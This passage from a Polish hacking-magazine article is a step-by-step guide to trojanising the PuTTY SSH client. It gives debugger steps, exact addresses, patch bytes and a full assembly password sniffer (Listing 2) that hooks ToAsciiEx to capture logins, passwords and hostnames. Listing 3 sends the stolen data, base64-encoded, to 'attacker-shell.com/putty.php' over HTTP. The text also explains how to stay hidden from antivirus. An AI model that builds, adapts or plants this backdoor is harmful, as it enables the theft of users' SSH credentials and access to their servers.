użytkownika.  Wpisujemy  tu  jakieś 
unikalne  słowo  jak  np.  FOOBAR
co ułatwi jego późniejsze odszuka-
nie w pliku dziennika. Następnie za-
mykamy  plik  dziennika  wybierając 

Rysunek 1. 

Analiza pliku putty.exe przy użyciu PeID

Rysunek 2. 

Monitorowanie wywołań API przy użyciu debuggera OllyDbg

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

20

z menu kontekstowego Close log fi-
le
,  żeby  nie  zwiększać  niepotrzeb-
nie jego objętości.

Spójrzmy teraz na wygenerowa-

ny plik dziennika, aby dowiedzieć się 
jak PuTTY odczytuje znaki wprowa-
dzone przez użytkownika. Ze wzglę-
du  na  objętość  pliku  ciężko  jest 
sprawdzić  każdą  z  funkcji,  dlatego 
możemy  spróbować  odszukać  sło-
wo,  które  podaliśmy  jako  login  lub 
też litery składające się na to słowo 
– obejmując je w apostrofy: 'F'. Mo-
żemy również założyć, że do jednej 
z  funkcji  został  przekazany  komu-
nikat 

WM _ KEYDOWN

,  gdyż  to  właśnie 

za  jego  pomocą  system  operacyj-
ny  Windows  przekazuje  informacje 
otrzymane  z  klawiatury  do  urucho-
mionej  aplikacji.  Dlatego  możemy 
również  spróbować  przeszukać  plik 
pod kątem tej nazwy komunikatu. 

Niezależnie od tego, jaką meto-

dę wykorzystamy, odnajdziemy gru-
pę  funkcji  powiązanych  z  obsługą 
klawiatury  przez  program  PuTTY. 
Funkcje  te  zostały  przedstawione 
na Listingu 1. 

Funkcja, która szczególnie wyróż-

nia się na przedstawionym listingu, to 

ToAsciiEx

.  Zgodnie  z  bazą  MSDN, 

tłumaczy  ona  podany  kod  klawisza 
(virtual-key  code)  na  odpowiadają-
cy mu znak lub znaki. Innymi słowy, 
funkcja  zwraca  kod  ASCII  wciśnię-
tych klawiszy. To jest właśnie to, cze-
go nam potrzeba! Jeśli tylko udałoby 
nam się przechwycić wyniki zwraca-
ne przez tę funkcję, bylibyśmy w sta-
nie  przechwycić  litery  loginu  i  hasła 
użytkownika,  literka  po  literce.  Za-
pamiętajmy  nazwę  tej  funkcji,  gdyż 
to właśnie z niej skorzystamy w celu 
przechwycenia danych. 

Odnajdujemy nazwę hosta

Wiemy już, w jaki sposób przechwy-
cimy login i hasło podane przez użyt-
kownika.  Co  jednak  z  nazwą  hosta, 
z którym się on łączy? Bez niej prze-
chwycone dane są kompletnie bezu-
żyteczne,  gdyż  nie  wiemy,  do  jakie-
go serwera one pasują. Dlatego teraz 
musimy znaleźć sposób, który pozwo-
li nam wydobyć nazwę hosta.

Jak można łatwo zauważyć, PuT-

TY wypisuje nazwę hosta na pasku 
tytułowym  okna  zaraz  po  nawiąza-
niu połączenia z serwerem. Wydoby-
cie nazwy z tego miejsca nie powin-
no  stanowić  większego  problemu, 
jednak  mimo  wszystko  wiązałoby 
się z użyciem funkcji 

GetWindowTextA

która wymaga przekazania uchwytu 
okna (hwnd). Dużo łatwiejszym spo-
sobem  na  wydobycie  nazwy  byłoby 
po prostu skopiowanie jej z pamięci. 
PuTTY musi posiadać jakiś bufor, do 
którego kopiuje nazwę hosta po po-
braniu jej od użytkownika. Aby odna-
leźć  hostname  w  pamięci,  musimy 
prześledzić, co się z nim dzieje krót-
ko po wpisaniu go w oknie konfigura-
cji połączenia.

Nazwa  hosta  wpisywana  jest 

w  polu  edycji.  Wystarczy  wiedzieć, 
że  programy  w  systemie  Windows 
powszechnie  korzystają  z  funk-
cji 

GetDlgItemTextA

  w  celu  wydoby-

cia tekstu z kontrolki (w tym również 
pól edycji) w oknie dialogowym. Wy-
starczy więc prześledzić odwołania 

do tej funkcji, aby przekonać się, czy 
PuTTY używa jej do wydobycia wpi-
sanej nazwy hosta z pola edycji.

Posłużymy  się  tu  ponownie  de-

buggerem OllyDbg. Usuwamy wszyst-
kie  breakpointy  ustawione  poprzed-
nio.  Następnie  ustawiamy  pułap-
ki na wszystkich wywołaniach funkcji 

GetDlgItemTextA

  (wystarczy  odnaleźć 

i  kliknąć  prawym  przyciskiem  myszy 
jedno  z  wywołań  tej  funkcji  i  wybrać 
z menu kontekstowego: Set log break-
point on every call to GetDlgItemTextA 
function
),  po  czym  wciskamy  (CTR-
L+F2)
, aby zrestartować program. Po 
ponownym  uruchomieniu  programu 
(F9) PuTTY wpisujemy wybraną przez 
nas nazwę hosta i nawiązujemy połą-
czenie SSH poprzez kliknięcie przyci-
sku Open

Debugger  przerwie  wykony-

wanie  programu  PuTTY  pod  ad-
resem 

0x435F67

,  gdzie  mieści  się 

pierwsze  odwołanie  do  funkcji 

GetDlgItemTextA

. Jak można zauwa-

żyć  na  Rysunku  3.  do  funkcji  prze-
kazywane  są  cztery  parametry,  je-
den z nich oznaczony jest jako Buf-
fer
. Parametr ten wskazuje miejsce w 
pamięci,  pod  które  trafi  skopiowany 
tekst z pola edycji. Obserwując war-
tości  umieszczone  na  stosie  (pra-
wa  dolna  część  Rysunku  3),  jeste-
śmy w stanie odczytać adres wska-
zywany  przez  parametr 

Buffer

,  jest 

on  równy 

0x46D680

.  Jeśli  teraz  usta-

wimy podgląd szesnastkowy (okien-
ko  hex  dump)  na  ten  adres  pamię-
ci  oraz  wymusimy  wykonanie  funk-
cji  (klawiszem  F8

GetDlgItemTextA

 

– ujrzymy nazwę hosta, którą podali-
śmy w oknie konfiguracji połączenia. 
W  ten  sposób  otrzymujemy  adres, 
który  wykorzystamy  później  w  na-
szym  kodzie  do  wydobycia  nazwy 
hosta podanej przez użytkownika.

Szukamy miejsca na kod

Na tym etapie wiemy już, skąd uzy-
skać  potrzebne  informacje  (login/

Rysunek 3. 

Śledzenie funkcji GetDlgItemTextA w celu odszukania nazwy 

hosta w pamięci 

Rysunek 4. 

Sekcje wewnątrz pliku putty.exe

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

21

hasło/hostname).  Jednak  zanim 
przejdziemy  do  pisania  naszego 
sniffera haseł, musimy znaleźć tro-
chę miejsca na nasz kod wewnątrz 
pliku putty.exe

Nie możemy po prostu dodać baj-

tów  naszego  kodu  pod  dowolnym 
miejscem  w  pliku,  zwiększając  je-
go  objętość  –  ze  względu  na  to,  że 
plik PE stanowi spójną strukturę da-
nych i taka operacja z pewnością by 
ją zniszczyła (część danych znalazła 
by się pod innymi adresami, w konse-
kwencji wskaźniki wskazywałyby złe 
miejsca w pliku). Moglibyśmy spróbo-
wać  dodać  nasz  kod  na  koniec  pli-
ku  putty.exe  (jak  to  robią  wirusy), 
jednak  rozmiar  pliku  uległby  zwięk-
szeniu,  przez  co  nasza  modyfikacja 
stałaby  się  łatwo  wykrywalna  przez 
programy antywirusowe.

Każda sekcja wewnątrz pliku mu-

si  zaczynać  się  pod  adresem,  któ-
ry  jest  wielokrotnością  tej  wartości. 
Bardzo rzadko zdarza się, że sekcje 
wewnątrz  pliku  kończą  się  dokład-
nie na granicy tych wyrównań. Dlate-
go istnieje duża szansa, że znajdzie-
my  sporo  wolnej  przestrzeni  pomię-
dzy poszczególnymi sekcjami w pliku. 
Użyjemy edytora heksadecymalnego 
Hiew, aby sprawdzić, czy znajdziemy 
wystarczającą ilość wolnego miejsca 
na końcu sekcji kodu (

code  section

w pliku putty.exe.

Po  otwarciu  pliku  w  Hiew  prze-

łączamy  edytor  w  tryb  heksade-
cymalny  (F4),  a  następnie  wciska-
my  (F8)  w  celu  podglądu  nagłów-
ka PE. Znajdziemy tam informację, 
która mówi nam, że wartość wyrów-
nania (

file alignment

) wynosi 

0x1000

Oznacza  to,  że  każda  z  sekcji  za-
czyna  się  pod  offsetem  będącym 
wielokrotnością  liczby 

0x1000

.  Na-

stępnie przechodzimy do listy sekcji 

pliku  przez  (F6).  Jak  widać  na  Ry-
sunku 4, w pliku putty.exe występu-
ją 4 różne sekcje.

Przyjrzyjmy  się  pierwszej  sek-

cji,  nazwanej  .text,  która  zawie-
ra  kod  programu 

PuTTY

  (sekcja  ko-

du). Sekcja ta zaczyna się pod adre-
sem 

0x1000

 pliku putty.exe. Widzimy, 

że następna sekcja (

.rdata

) zaczyna 

się  pod  adresem 

0x50000

.  Odejmu-

jąc  adres  początku  pierwszej  sekcji 
od adresu drugiej sekcji, otrzymamy 
fizyczny  rozmiar  sekcji 

.text

  w  pli-

ku putty.exe – jest on równy 

0x4F000

Zauważmy, że jedna z kolumn w ta-
beli sekcji na Rysunku 4 nazywa się 

VirtSize

. Definiuje ona rozmiar wirtu-

alny, który w przypadku sekcji 

.text

 

jest  mniejszy  od  obliczonego  przez 
nas rozmiaru fizycznego, wynosi on 
bowiem 

0x4E4D1

.  Wirtualny  rozmiar 

sekcji określa faktyczną ilość bajtów 
zajmowaną  w  pamięci  przez  sekcje 
kodu.  Oznacza  to,  że  część  sekcji 
kodu w pliku putty.exe jest niewyko-
rzystana i stanowi wyrównanie sek-
cji. Wielkość niewykorzystanego ob-
szaru  możemy  obliczyć  odejmując 
wirtualny rozmiar sekcji, od rozmiaru 
fizycznego (na który składa się kod + 
bajty wyrównania):

0x4F000 - 0x4E4D1

co daje 2863 nieużywane bajty, któ-
re  możemy  nadpisać  naszym  ko-
dem.  Jest  to  ponad  2,5kB  miejsca, 
co w zupełności nam wystarczy.

Pozostaje  jeszcze  obliczyć,  pod 

jakim  offsetem  zaczyna  się  niewy-
korzystany obszar, a więc pod jakim 
offsetem  będzie  położony  początek 
naszego kodu. Wystarczy dodać of-
fset, pod którym znajduje się począ-

tek sekcji 

.text  (0x1000)

 do wirtual-

nego rozmiaru sekcji (

0x4E4D1

):

0x1000 + 0x4E4D1

co  daje 

0x4F4D1

.  Pod  tym  offsetem 

zaczyna się niewykorzystany obszar 
sekcji 

.text

 i tu właśnie zamieścimy 

kod naszego sniffera haseł. 

Szukamy miejsca na dane

Oprócz  miejsca  na  kod  sniffera  bę-
dziemy  potrzebowali  trochę  prze-
strzeni na dynamicznie tworzone da-
ne – w tym globalne zmienne czy bu-
for, w którym zapiszemy przechwyco-
ne informacje (login/hasło/hostname). 
Chociaż  2,5kB  przestrzeni  na  końcu 
sekcji 

.text

  wystarczyłoby  zarówno 

na nasz kod, jak i dane, to nie możemy 
umieścić  tam  danych.  Powodem  jest 
fakt, że sekcja 

.text

 posiada ustawio-

ny  atrybut  tylko  do  odczytu  (readon-
ly
), a zatem po uruchomieniu progra-
mu  PuTTY  zapis  danych  w  tej  sekcji 
nie będzie możliwy. Wprawdzie istnie-
je możliwość dodania do sekcji 

.text

 

możliwości zapisu, jednak oprogramo-
wanie  antywirusowe  mogłoby  wtedy 
uznać nasz plik za podejrzany. 

W  celu  zapisu  danych  utworzo-

nych  dynamicznie  możemy  skorzy-
stać z kolejnej sekcji – sekcji danych 
nazwanej 

.data

,  która  to  domyślnie 

posiada możliwość zapisu. Mimo te-
go, że fizyczny rozmiar tej sekcji jest 
równy 

0x1000

, jej wirtualny rozmiar wy-

nosi 

0x7064

. Oznacza to, że dodatko-

wa przestrzeń zostanie zaalokowana 
w  trakcie  uruchomienia  aplikacji.  Ist-
nieje  szansa,  że  po  tej  alokacji  uda 
się odnaleźć wolny obszar, który nie 
jest  wykorzystywany  przez  program 
PuTTY (nadpisanie używanej części 

Rysunek 5. 

Przeglądanie sekcji 

.data z pomocą IDA w poszukiwaniu 
wolnego obszaru pamięci

Rysunek 6. 

Wywołanie funkcji ToAsciiEx, które należy zastąpić własnym

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

22

pamięci  programu  PuTTY  mogłoby 
spowodować jego zawieszenie). 

W  odnalezieniu  wolnej  przestrze-

ni w sekcji 

.data

 pomoże nam narzę-

dzie  IDA.  Wystarczy  załadować  plik 
putty.exe  do  programu  IDA,  następ-
nie  przejść  do  zakładki  Hex  View
w której musimy odnaleźć sekcję 

.data

Przemieszczając się po sekcji danych 
zauważymy, że część bajtów 

0x470B00

 

aż  do 

0x471050

.  Daje  to  ponad  1kB 

przestrzeni na nasze dane, co w zu-
pełności spełnia nasze wymagania.

Piszemy kod

Po  przeprowadzeniu  naszej  analizy 
i  zebraniu  potrzebnych  danych  mo-
żemy przystąpić do modyfikacji pro-
gramu PuTTY.

API hooking 

Zgodnie  z  wcześniejszymi  ustale-
niami,  chcemy  przechwycić  dane 
wprowadzone  przez  użytkownika, 
za pośrednictwem funkcji 

ToAsciiEx

Wywołanie  funkcji 

ToAsciiEx

,  do 

którego  trafiają  klawisze  wciśnięte 
przez  użytkownika,  mieści  się  pod 
adresem  pamięci 

0x43C854

  (jak  mo-

żemy odczytać z Listingu 1). Musimy 
znaleźć sposób, który pozwoli prze-
chwycić  wynik  zwrócony  przez  tę 
funkcję  (którym  jest  kod  ASCII  wci-
śniętego klawisza), ale jednocześnie 
nie  zakłóci  normalnego  przebiegu 
działania programu PuTTY.

Najprostszym  rozwiązaniem  te-

go  problemu  będzie  zastąpienie  wy-
wołania  funkcji 

ToAsciiEx

  instrukcją 

skoku,  która  przekaże  kontrolę  nad 
programem PuTTY do naszego frag-

mentu  kodu  (sniffera  haseł).  W  na-
szym  kodzie  sami  wywołamy  funk-
cję 

ToAsciiEx

  –  otrzymując  jej  wynik. 

Zadbamy  również  o  to,  by  zapisać 
wartości  rejestrów  procesora  usta-
wione  przez  funkcję,  co  pozwoli  na 
późniejszy powrót do oryginalnego ko-
du (poprzez skok do kolejnej instruk-
cji,  występującej  po  wywołaniu  funk-
cji). Tym sposobem będziemy w stanie 
przechwycić klawisze wciśnięte przez 
użytkownika, nie zakłócając działania 
programu PuTTY. Spróbujmy teraz za-
stosować ten pomysł w praktyce.

Otwieramy  plik  putty.exe  z  he-

xedytora  Hiew,  przełączamy  edytor 
w tryb disasemblera (decode mode
i  przechodzimy  pod  offset 

0x3C854

pod  którym  to  znajduje  się  wspo-
mniane wywołanie funkcji 

ToAsciiEx

:

FF1520034500   call   ToAsciiEx

Musimy zastąpić instrukcję wywoła-
nia  instrukcją  skoku.  Aby  wykonać 

przejście do naszego kodu, możemy 
posłużyć  się  następującą  kombina-
cją instrukcji 

push

 i 

ret

:

68D1F44400      push 00044F4D1
C3   ret

Adres 

0x44F4D1

  wskazuje  na  począ-

tek  wolnego  obszaru  w  sekcji 

.text

ponieważ to właśnie tam zamieścimy 
nasz  kod.  Instrukcja  powrotu  ret  jest 
tu odpowiedzialna za wykonanie bez-
względnego  skoku  pod  podany  ad-
res (absolute jump). Wykonuje ona po 
prostu skok pod adres zamieszczony 
na szczycie stosu. Ma ona identyczny 
efekt co para instrukcji:

B8D1F44400   mov eax, 00044F4D1
FFE0   jmp eax

ale zajmuje o jeden bajt mniej. Dzię-
ki temu nie nadpiszemy niepotrzebnie 
bajtów kolejnej instrukcji (a zatem nie 
ma konieczności odtwarzania niczego 
poza  wywołaniem  funkcji 

ToAsciiEx

). 

Po  tej  modyfikacji  możemy  zapisać 
w pliku zmiany klawiszem (F9).

Prosty test

Teraz kiedy udało się nam zmodyfiko-
wać  program  PuTTY  w  taki  sposób, 
aby wykonywał instrukcje zawarte pod 
adresem 

0x4F4D1

  za  każdym  razem, 

gdy użytkownik wciśnie jakiś klawisz, 
możemy napisać testowy fragment ko-
du, aby sprawdzić czy wszystko dzia-
ła poprawnie. 

W hexedytorze Hiew przechodzi-

my pod offset 

0x4F4D1

, gdzie znajduje 

się wolna przestrzeń dla naszego ko-

Rysunek 7. 

Prosty kod wyświetlający komunikat na ekranie

Rysunek 8. 

Zmodyfikowana wersja PuTTY wyświetlająca przechwycone 

dane 

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

23

du (jak na razie jest ona wypełniona 
zerami). Pierwszą rzeczą, jaką mu-
simy uczynić, jest przywrócenie wy-
wołania funkcji 

ToAsciiEx

 które nad-

pisaliśmy:

FF1520034500   call   ToAsciiEx

Następnie  zachowujemy  wszystkie 
rejestry procesora instrukcją:

60   pushad

aby PuTTY mógł poprawnie kontynu-
ować działanie po powrocie z nasze-
go kodu. W tym momencie możemy 
zacząć pisanie własnego kodu. 

Niech  nasz  kod  wyświetla  jakiś 

tekst przy użyciu funkcji 

MessageBoxA

 

– tak, abyśmy od razu widzieli, że zo-
stał on uruchomiony. Zapisujemy ar-
gumenty  dla  funkcji 

MessageBoxA 

na 

stosie:

6A00   push 000
6A00   push 000
68F8F44400   push 0044F4F8
6A00   push 000

Adres 

0x44F4F8

  wskazuje  łańcuch 

znaków,  który  chcemy  wyświetlić. 
Następnie  wykonujemy  samą  funk-
cję 

MessageBoxA

  (jej  adres  możemy 

łatwo  ustalić  przy  pomocy  OllyDbg 
wyszukując wywołania tej funkcji):

FF15E4034500   call [04503E4]

Ostatnie trzy instrukcje konieczne do 
prawidłowego działania to:

61   popad
685AC84300   push 00043C85A
C3   ret

Ich  zadaniem  jest  przywrócenie 
uprzednio  zachowanych  rejestrów 
(intrukcja 

popad

),  oraz  przekazanie 

kontroli nad programem z powrotem 
do  oryginalnego  kodu  PuTTY  (in-
strukcje 

push + ret

). 

Pozostaje umieścić dowolny ciąg 

znaków pod offsetem 

0x4F4F8

 i może-

my zapisać zmiany w pliku wciskając 
(F9). Od tej pory program PuTTY po-
winien  wyświetlać  zadany  komuni-
kat  (w  przypadku  kodu  widocznego 

na Rysunku 7. będzie to napis: HEL-
LO!
)  na  ekranie  przy  każdym  naci-
śnięciu klawisza.

Przechwytywanie danych

Jeśli  wszystko  działa,  możemy  za-
brać się za pisanie bardziej zaawan-
sowanego  kodu,  który  będzie  prze-
chwytywał dane wprowadzone przez 
użytkownika – to znaczy login, hasło 
oraz nazwę hosta. 

Listing  2.  przedstawia  przykła-

dową  implementację  sniffera  haseł. 
Prześledźmy szybko podany kod źró-
dłowy,  aby  zrozumieć,  jak  funkcjonu-
je.  Na  początku  wywołana  zostaje 
funkcja 

ToAsciiEx

, po czym następuje 

sprawdzenie zwracanej przez nią war-
tości (która to znajduje się w rejestrze 
EAX). Wartość zwrócona przez funk-
cję wskazuje, czy przekazany do niej 
kod klawisza został pomyślnie przetłu-
maczony na kod ASCII. Jeśli zwróco-
na wartość jest równa 1, oznacza to, 
że jeden znak został pomyślnie prze-
tłumaczony  i  umieszczony  w  buforze 
(adres  tego  bufora  został  przekaza-
ny do funkcji jako parametr pTransla-
ted  i  –  jak  można  zauważyć  na  Ry-
sunku  6  –  ma  on  wartość:  EBP+C). 
W  tym  przypadku  następuje  skopio-
wanie  znaku  ASCII  wciśniętego  kla-
wisza z bufora (czyli spod adresu EB-
P+C)  do  zmiennej 

created _ string

która zawiera dwa znaki: 

l=

, czyli pre-

fiks  oznaczający  login.  Tym  samym 

uzyskujemy  pierwszą  literę  nazwy 
użytkownika.

Proces  ten  powtarza  się,  kopiu-

jąc kolejno wprowadzane znaki loginu 
na  koniec  ciągu  znaków 

created _

string

, aż do momentu gdy użytkow-

nik  wciśnie  klawisz  (backspace)  lub 
(enter).  W  takim  przypadku,  wartość 
zwracana  przez  funkcję  ToAsciiEx 
jest  równa  0  (co  oznacza,  że  ża-
den klawisz nie został przetłumaczo-
ny na kod ASCII). Powoduje to skok 
do etykiety 

special _ key

 – gdzie znaj-

duje się kod odpowiedzialny za usta-
lenie,  który  z  dwóch  wspomnianych 
klawiszy został wciśnięty. Rozróżnie-
nie obu klawiszy jest możliwe za spra-
wą bajtu znajdującego się pod adre-
sem EBP+8 (znajduje się tam wirtual-
ny kod klawisza, przekazany jako pa-
rametr 

Key

  do  funkcji 

ToAsciiEx

  –  co 

widać na Rysunku 6). 

Jeśli  wciśnięty  klawisz  to  (back-

space)  (wspomniany  bajt  ma  war-
tość 

0x08

),  następuje  skasowanie 

jednego  znaku  z  łańcucha  znaków 

created _ string

Jeśli  wciśnięto  klawisz  (enter

(bajt równy 

0x0D

), oznacza to, że użyt-

kownik skończył wpisywać swój login. 
Dlatego  na  koniec  łańcucha  znaków 

created _ string

  dopisywany  jest  ko-

lejny prefiks: 

&p=

 – w celu odróżnie-

nia loginu od hasła, które to użytkow-
nik będzie teraz wprowadzał. Kolejne 
litery  hasła  kopiowane  są  na  koniec 

Listing 1. 

Funkcje użyte w programie PuTTY do odczytu znaków z 

klawiatury

0043F03E  

CALL 

to DispatchMessageA

            pMsg = WM_KEYDOWN hw = 

1D03E0

 

(

"some-remote-host.com - PuTTY"

)

 

Key = 

46

  

(

'F'

)

 KeyData = 

210001

00441519  

CALL 

to GetTickCount

00441533  

CALL 

to QueryPerformanceCounter

            pPerformanceCount = 

0012CCEC

0043BD67  

CALL 

to GetKeyboardLayout

            ThreadID = 

0

0043BD77  

CALL 

to GetKeyboardState

            pState = 

0012CBD4

0043BE0B  

CALL 

to SetKeyboardState

            pKeyState = 

0012CBD4

0043C854  

CALL 

to ToAsciiEx

            Key = 

46  

(

'F'

)

            ScanCode = 

21

            pKeyState = 

0012CBD4

            pTranslated = 

0012CD00

            MenuActive = 

0

            hKblayout = 

04150415 

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

24

Listing 2. 

PuTTY password sniffer – puttysnf.asm

;

 

puttysnf

.

asm

 – 

PuTTY

 

password

 

sniffer

.

386

code

 

segment

assume

 

cs

:

code

ds

:

code

org

 100

h

      

;

 

counter

 

of

 

how

 

many

 

times

 

ENTER

 

has

 

been

 

hit

:

      

enter_counter

    

equ

 470

B00h

      

;

 

counter

 

of

 

characters

 

in

 

login

/

password

:

      

char_counter

     

equ

 470

B08h

      

;

 

variable

 

containing

 

the

 

length

 

of

 

created_

string

:

      

str_length

       

equ

 470

B04h

      

;

 

string

 

for

 

login

/

password

/

hostname

:

      

created_string

   

equ

 470

B10h

start

:

      

;

 

call

 

ToAsciiEx

      

call

   

ds

:[

450320

h

]

 

      

pushad

      

mov

    

edi

created_string

      

mov

    

ecx

ds

:[

str_length

]

      

add

    

edi

ecx

      

;

 

finish

if

 

str_length

==

0xFF

      

cmp

    

cl

, 0

FFh

      

je

     

return_to_host

      

;

 

checks

 

if

 

ENTER

 

or

 

BACKSPACE

 

was

 

hit

      

test

   

al

al

      

je

     

special_key

      

test

   

cl

cl

      

jne

    

no_prefix_1

      

;

 

adds

 

a

 

prefix

 '

l

=

before

 

a

 

login

      

mov

    

word

 

ptr

 

[

edi

]

, 3

D6Ch

      

mov

    

byte

 

ptr

 

ds

:[

str_length

]

2

      

add

    

edi

,

2

no_prefix_1

:

      

;

 

finish

if

 

login

/

pass

 

has

 

more

 

than

 

30

 

chars

      

cmp

    

dword

 

ptr

 

ds

:[

char_counter

]

, 1

Eh

      

jg

     

return_to_host

      

;

 

saves

 

an

 

ascii

 

returned

 

by

 

ToAsciiEx

 

in

 

created_

string

      

mov

    

al

byte

 

ptr

 

ss

:[

ebp

 

+

 0

Ch

]

      

mov

    

byte

 

ptr

 

ds

:[

edi

]

al

      

inc

    

dword

 

ptr

 

ds

:[

str_length

]

      

inc

    

dword

 

ptr

 

ds

:[

char_counter

]

special_key

:

      

mov

    

al

byte

 

ptr

 

ss

:[

ebp

+

8

]

      

;

 

checks

 

if

 

the

 

key

 

is

 

a

 

BACKSPACE

      

cmp

    

al

, 08

h

      

je

     

backspace_hit

      

;

 

checks

 

if

 

it

 

is

 

an

 

ENTER

      

cmp

    

al

, 0

Dh

      

jne

    

return_to_host

      

;

 

checks

 

if

 

a

 

user

 

has

 

finished

 

typing

 

login

      

inc

    

byte

 

ptr

 

ds

:[

enter_counter

]

      

cmp

    

byte

 

ptr

 

ds

:[

enter_counter

]

1

      

jne

    

no_prefix_2

      

;

 

adds

 

a

 

prefix

 '

&

p

=

before

 

a

 

password

      

mov

    

dword

 

ptr

 

ds

:[

char_counter

]

0

      

mov

    

ds

:[

edi

]

, 3

D7026h

      

add

    

byte

 

ptr

 

ds

:[

str_length

]

3

no_prefix_2

:

      

;

 

checks

 

if

 

password

 

has

 

been

 

entered

      

cmp

    

byte

 

ptr

 

ds

:[

enter_counter

]

2

      

jne

    

return_to_host

      

;

 

adds

 

prefix

 '

&

h

=

before

 

a

 

hostname

      

mov

    

[

edi

]

, 003

D6826h

 

      

add

    

dword

 

ptr

 

ds

:[

str_length

]

3

      

add

    

edi

,

3

      

;

 

ESI

 

=

 

the

 

address

 

where

 

a

 

hostname

 

is

 

stored

      

mov

    

esi

, 46

D680h

      

cld

copy

:

      

;

 

copies

 

a

 

hostname

 

at

 

the

 

end

 

of

 

the

 

created_

   string

      

lodsb

      

stosb

      

test

   

al

al

      

je

     

show_message

      

inc

    

byte

 

ptr

 

ds

:[

str_length

]

      

jmp

    

copy

show_message

:

      

;

 

invokes

 

MessageBoxA

 

to

 

display

 

the

 

string

      

push

   

0

      

push

   

0

      

push

   

created_string

      

push

   

0

      

call

   

dword

 

ptr

 

ds

:[

4503

E4h

]

      

;

 

writes

 

0xFF

 

to

 

finish

 

intercepting

 

keys

      

mov

    

dword

 

ptr

 

ds

:[

str_length

]

, 0

FFh

      

jmp

    

return_to_host

backspace_hit

:

      

cmp

    

byte

 

ptr

 

ds

:[

char_counter

]

0

      

je

     

return_to_host

      

;

 

writes

 

zero

 

to

 

delete

 

the

 

last

 

char

      

dec

    

edi

      

mov

    

byte

 

ptr

 

[

edi

]

0

      

dec

    

dword

 

ptr

 

ds

:[

char_counter

]

      

dec

    

dword

 

ptr

 

ds

:[

str_length

]

return_to_host

:

      

;

 

passes

 

the

 

control

 

back

 

to

 

the

 

PuTTY

'

s

 

code

      

popad

      

push

   43

C85Ah

      

ret

code

 

ends

end

 

start

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

25

ciągu 

created _ string

, aż do momen-

tu  gdy  [enter]  zostanie  wciśnięty  po 
raz drugi. 

created _ string

  dodany  zostaje 

ostatni prefiks: 

&h=

, aby możliwe by-

ło  odróżnienie  hasła  od  nazwy  ho-

sta. Nazwa hosta jest doklejana na 
samym końcu łańcucha znaków (po 
skopiowaniu spod adresu 

0x46D680

). 

Na  tym  etapie  ciąg  znaków 

created _ string

 prezentuje się nastę-

pująco: 

l=login&p=password&h=hostname.

Ciąg zostaje wyświetlony na ekranie 
przy pomocy funkcji 

MessageBoxA

Aby  zapobiec  ponownemu  wy-

konywaniu  kodu  przy  wciśnię-
ciu  kolejnych  klawiszy,  w  zmiennej 

str _ length

  zostaje  zapisana  war-

Listing 3. 

Procedure for puttysnf.asm to send sniffed data over HTTP

;

 

send_data

 – 

Send

 

Data

 

Procedure

   

;

 

address

 

where

 

our

 

code

 

starts

 

in

 

memory

:

   

base_address

  

equ

 44

F4D1h

 – 100

h

   

;

 

var

containing

 

size

 

of

 

a

 

buffer

 

for

 

base64

 

code

:

   

buffer_size

  

equ

 470

B0Ch

   

;

 

address

 

in

 

memory

 

where

 

the

 

URL

 

will

 

be

 

stored

:

   

URL

      

equ

 470

BD8h

send_data

:

   

push

  

ebp

   

mov

  

ebp

esp

   

cld

   

mov

  

esi

(

base_address

 

+

 

offset

 

str1

)

   

mov

  

edi

URL

copy_str

:

   

;

 

copy

 

the

 

declared

 

URL

 

(

pointing

 

to

 

putty

.

php

)

 

into

 

memory

   

lodsb

   

test

  

al

al

   

jz

   

encode_str

   

xor

  

al

, 7

Fh

   

stosb

   

jmp

  

copy_str

encode_str

:

   

;

 

LoadLibraryA

(

"crypt32"

)

   

push

  

(

base_address

 

+

 

offset

 

str2

)

   

call

  

ds

:[

450250

h

]

   

mov

  

ebx

eax

   

;

 

LoadLibraryA

(

"wininet"

)

   

push

  

(

base_address

 

+

 

offset

 

str3

)

   

call

  

ds

:[

450250

h

]

   

mov

  

esi

eax

   

;

 

GetProcAddress

(

crypt32_hnd

"CryptBinaryToStringA"

);

   

push

  

(

base_address

 

+

 

offset

 

str4

)

   

push

  

ebx

   

call

  

ds

:[

450284

h

]

   

test

  

eax

eax

   

jz

   

return

   

mov

  

edi

eax

   

;

 

CryptBinaryToStringA

(

created_string

str_length

,

   

;

      

BASE64

URL

+

str1_length

-

1

buffer_size

)

   

mov

  

eax

buffer_size

   

mov

  

dword

 

ptr

 

ds

:[

eax

]

, 190

h

   

push

  

eax

   

push

  

(

URL

 

+

 

str1_length

 – 

1

)

   

push

  

1

   

push

  

dword

 

ptr

 

ds

:[

str_length

]

   

push

  

created_string

 

   

call

  

edi

   

;

 

GetProcAddress

(

wininet_hnd

"InternetOpenA"

)

   

push

  

(

base_address

 

+

 

offset

 

str5

)

   

push

  

esi

   

call

  

ds

:[

450284

h

]

   

test

  

eax

eax

   

jz

   

return

   

;

 

InternetOpenA

(

0

0

0

0

0

)

   

push

  

0

   

push

  

0

   

push

  

0

   

push

  

0

 

   

push

  

0

   

call

  

eax

   

;

 

EDI

 

=

 

internet_hnd

   

mov

  

edi

eax

   

;

 

GetProcAddress

(

wininet_hnd

"InternetOpenUrlA"

)

   

push

  

(

base_address

 

+

 

offset

 

str6

)

   

push

  

esi

   

call

  

ds

:[

450284

h

]

   

test

  

eax

eax

   

jz

   

return

   

;

 

InternetOpenUrlA

(

internet_hnd

URL

0

0

0

0

)

   

push

  

0

   

push

  

0

   

push

  

0

   

push

  

0

   

push

  

URL

   

push

  

edi

   

call

  

eax

return

:

   

leave

   

ret

   

str1

     

db

 '

http

:

//

attacker

-

shell

.

com

/

putty

.

php

?

data

=

',

0

   

str1_length

  

equ

 $

-

str1

   

str2

     

db

 '

crypt32

',

0

 

   

str3

     

db

 '

wininet

',

0

   

str4

     

db

 '

CryptBinaryToStringA

',

0

   

str5

     

db

 '

InternetOpenA

',

0

   

str6

     

db

 '

InternetOpenUrlA

',

0

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

26

tość 

0xFF

,  co  gwarantuje  zaprzesta-

nie ponownego wykonywania się ko-
du (za sprawą instrukcji porównania 

cmp cl

0FFh

 na początku kodu). War-

to zauważyć, że (zgodnie z naszym 
planem)  wszelkie  zmienne  przecho-
wywane są w sekcji 

.data

, poczyna-

jąc od adresu 

0x470B00

